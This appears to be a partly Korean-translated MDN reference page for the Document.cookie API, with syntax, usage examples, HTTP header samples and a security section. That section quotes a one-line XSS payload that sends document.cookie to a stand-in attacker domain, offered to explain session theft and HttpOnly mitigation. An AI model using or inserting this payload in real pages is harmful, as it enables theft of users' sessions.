--- title: Document.cookie slug: Web/API/Document/cookie translation_of: Web/API/Document/cookie ---
{{APIRef("DOM")}}

 {{domxref("Document")}} cookie 는 document와 연관된 cookies 를 읽고 쓸 수 있게 해준다. 쿠키의 실제값에 대한 getter 와 setter로 작동한다.

문법

Read all cookies accessible from this location

allCookies = document.cookie;

위 코드에서 allCookies 세미콜론으로 구분되는 모든 쿠키 리스트의 문자열이다. (다른 말로 key=value). Note that each key and value may be surrounded by whitespace (space and tab characters): in fact, {{RFC(6265)}} mandates a single space after each semicolon, but some user agents may not abide by this.

In the code above, newCookie is a string of form key=value. Note that you can only set/update a single cookie at a time using this method. Consider also that:

Note: As you can see from the code above, document.cookie is an accessor property with native setter and getter functions, and consequently is not a data property with a value: what you write is not the same as what you read, everything is always mediated by the JavaScript interpreter.

Examples

Example #1: Simple usage

document.cookie = "name=oeschger";
document.cookie = "favorite_food=tripe";
function alertCookie() {
  alert(document.cookie);
}

<button onclick="alertCookie()">Show cookies</button>

{{EmbedLiveSample('Example_1_Simple_usage', 200, 36)}}

document.cookie = "test1=Hello";
document.cookie = "test2=World";

const cookieValue = document.cookie
  .split('; ')
  .find(row => row.startsWith('test2'))
  .split('=')[1];

function alertCookieValue() {
  alert(cookieValue);
}

<button onclick="alertCookieValue()">Show cookie value</button>

{{EmbedLiveSample('Example_2_Get_a_sample_cookie_named_test2', 200, 36)}}

Example #3: Do something only once

In order to use the following code, please replace all occurrences of the word doSomethingOnlyOnce (the name of the cookie) with a custom name.

function doOnce() {
  if (!document.cookie.split('; ').find(row => row.startsWith('doSomethingOnlyOnce'))) {
    alert("Do something here!");
    document.cookie = "doSomethingOnlyOnce=true; expires=Fri, 31 Dec 9999 23:59:59 GMT";
  }
}
<button onclick="doOnce()">Only do something once</button>

{{EmbedLiveSample('Example_3_Do_something_only_once', 200, 36)}}

function resetOnce() {
  document.cookie = "doSomethingOnlyOnce=; expires=Thu, 01 Jan 1970 00:00:00 GMT";
}
<button onclick="resetOnce()">Reset only once cookie</button>

{{EmbedLiveSample('Example_4_Reset_the_previous_cookie', 200, 36)}}

//ES5

if (document.cookie.split(';').some(function(item) {
    return item.trim().indexOf('reader=') == 0
})) {
    console.log('The cookie "reader" exists (ES5)')
}

//ES2016

if (document.cookie.split(';').some((item) => item.trim().startsWith('reader='))) {
    console.log('The cookie "reader" exists (ES6)')
}

//ES5

if (document.cookie.split(';').some(function(item) {
    return item.indexOf('reader=1') >= 0
})) {
    console.log('The cookie "reader" has "1" for value')
}

//ES2016

if (document.cookie.split(';').some((item) => item.includes('reader=1'))) {
    console.log('The cookie "reader" has "1" for value')
}

Security

It is important to note that the path attribute does not protect against unauthorized reading of the cookie from a different path. It can be easily bypassed using the DOM, for example by creating a hidden {{HTMLElement("iframe")}} element with the path of the cookie, then accessing this iframe's contentDocument.cookie property. The only way to protect the cookie is by using a different domain or subdomain, due to the same origin policy.

Cookies are often used in web application to identify a user and their authenticated session. So stealing the cookie from a web application, will lead to hijacking the authenticated user's session. Common ways to steal cookies include using Social Engineering or by exploiting an XSS vulnerability in the application -

(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;

The HTTPOnly cookie attribute can help to mitigate this attack by preventing access to cookie value through Javascript. Read more about Cookies and Security.

Notes

The reason for the syntax of the document.cookie accessor property is due to the client-server nature of cookies, which differs from other client-client storage methods (like, for instance, localStorage):

HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: cookie_name1=cookie_value1
Set-Cookie: cookie_name2=cookie_value2; expires=Sun, 16 Jul 3567 06:23:41 GMT

[content of the page here]

The client sends back to the server its cookies previously stored

GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: cookie_name1=cookie_value1; cookie_name2=cookie_value2
Accept: */*

Specifications

Specification Status Comment
{{SpecName("DOM2 HTML", "html.html#ID-8747038", "Document.cookie")}} {{Spec2("DOM2 HTML")}} Initial definition
{{SpecName("Cookie Prefixes")}} {{Spec2("Cookie Prefixes")}}

Browser compatibility

{{Compat("api.Document.cookie")}}

See also